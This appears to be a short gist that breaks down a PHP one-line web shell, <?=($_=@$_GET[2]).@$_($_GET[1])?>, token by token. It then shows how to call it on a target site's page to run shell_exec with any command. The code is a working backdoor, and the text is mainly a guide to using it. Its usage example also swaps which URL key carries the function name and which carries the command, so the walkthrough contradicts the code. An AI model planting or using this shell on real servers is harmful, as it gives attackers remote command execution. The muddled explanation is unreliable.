PHP explanation for <?=($_=@$_GET[2]).@$_($_GET[1])?>

gistfile1.txt

<?=     PHP short opening tag 

(
    $_          temporary variable
     
    =           assignment (of temporary variable $_)

    @           suppress PHP errors

    $_GET[2]    value corresponding to key 2 in array of values of HTTP GET (these are the arguments you see in a URL like ?argument1=foo&argument2=foo2)

)
.       concatenate

    @
    $_(         use whatever you got for $_ above as a function name called on argument $_GET[1]

        $_GET[1]    key 1 of array of values returned by HTTP GET (used as an argument here)
    ) 
    
?>      PHP closing tag

-----------------

So, for example, you could go to: targetsite.xxx/vulnerable.php?1=arg1&2=arg2
where
  arg1 = shell_exec (which is a PHP function that does what it sounds like)
and 
  arg2 = command of your choice.
$_=@$_GET[2] -> $_ equals shell_exec here.
$_($_GET[1]) -> Since $_=shell_exec, this is shell_exec($_GET[1]). $_GET[1]=arg2.
Put it together, and you get shell_exec(arg2).

You can also use keys other than 1 and 2 as in the code. Those were probably picked because they're easy to type.